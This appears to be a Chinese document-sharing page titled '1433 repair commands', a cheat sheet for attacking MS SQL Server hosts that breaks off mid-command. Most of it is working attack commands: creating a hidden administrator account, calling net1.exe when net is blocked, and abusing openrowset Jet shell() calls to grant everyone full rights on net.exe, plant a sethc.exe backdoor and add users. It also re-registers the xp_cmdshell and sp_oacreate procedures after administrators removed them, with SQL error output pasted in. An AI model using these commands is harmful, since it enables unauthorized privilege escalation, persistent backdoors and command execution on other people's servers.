1433修复命令.docVIP

1433修复命令 本人专用的1433修复全部口令全集 （申请点亮） ◆◆◆◆◆◆◆◆◆◆◆◆◆◆ net net1被禁止时执行CMD命令 net user Administrator$ 920517 /add net localgroup administrators Administrator$ /add 第一步：dir net.exe /s /p 或者 dir net1.exe /s /p 第二步：C:\WINDOWS\system32\dllcache\net1.exe user 123 123 /add 第三步：C:\WINDOWS\system32\dllcache\net1.exe localgroup administrators 123 /add ◆◆◆◆◆◆◆◆◆◆◆◆◆◆ 沙盘模式提权 sethc.exe禁止 select * from openrowset(microsoft.jet.oledb.4.0,;database=c:\windows\system32\ias\ias.mdb,select shell(cacls c:\windows\system32\net.exe /e /t /g everyone:F) net net1都被禁用 select * from openrowset(microsoft.jet.oledb.4.0,;database=c:\windows\system32\ias\ias.mdb,select shell(xcopy taskmgr.exe sethc.exe /y)) 如果cmd被禁用 select * from openrowset(microsoft.jet.oledb.4.0,;database=c:\windows\system32\ias\ias.mdb,select shell(net user user pass /add)) ◆◆◆◆◆◆◆◆◆◆◆◆◆◆ 除了xplog70.dll其他的都可以用这命令修复 第一步先删除： drop procedure sp_addextendedproc drop procedure sp_oacreate exec sp_dropextendedproc xp_cmdshell 服务器: 消息 3701，级别 11，状态 5，行 1 无法 除去 过程 sp_addextendedproc，因为它在系统目录中不存在。 服务器: 消息 3701，级别 11，状态 5，过程 sp_dropextendedproc，行 18 无法 除去 过程 xp_cmdshell，因为它在系统目录中不存在。 第二步恢复： dbcc addextendedproc (sp_oacreate,odsole70.dll) dbcc addextendedproc (xp_cmdshell,xplog70.dll) 直接恢复，不管sp_addextendedproc是不是存在 ◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆ 1.未能找到存储过程master..xpcmdshell之解决方法： EXEC sp_addextendedproc xp_cmdshell,@dllname =xplog70.dlldeclare @o int sp_addextendedproc xp_cmdshell,xpsql70.dll ◆◆◆◆◆◆◆◆◆◆◆◆◆ 恢复sp_addextendedproc语句： create procedure sp_addextendedproc --- 1996/08/30 20:13 @functname nvarchar(517),/* (owner.)name of function to call */ @dllname varchar(255)/* name of DLL containing function */ as set implicit_transactions off if @@trancount 0 begin raiserror(15002,-1,-1,sp_addextendedproc) return (1) end dbcc addextendedproc( @functname, @dllname) return (0) -- sp_addextendedproc GO ◆◆◆◆◆◆◆◆◆◆◆◆◆ 2 无法装载 DLL xpsql70.dll 或该DLL所引用的某一DLL。原因126（找不到指定模块。） 恢复方法：查询分离器连接后， sp_dropextendedproc xp_cmdshell sp_addextendedpro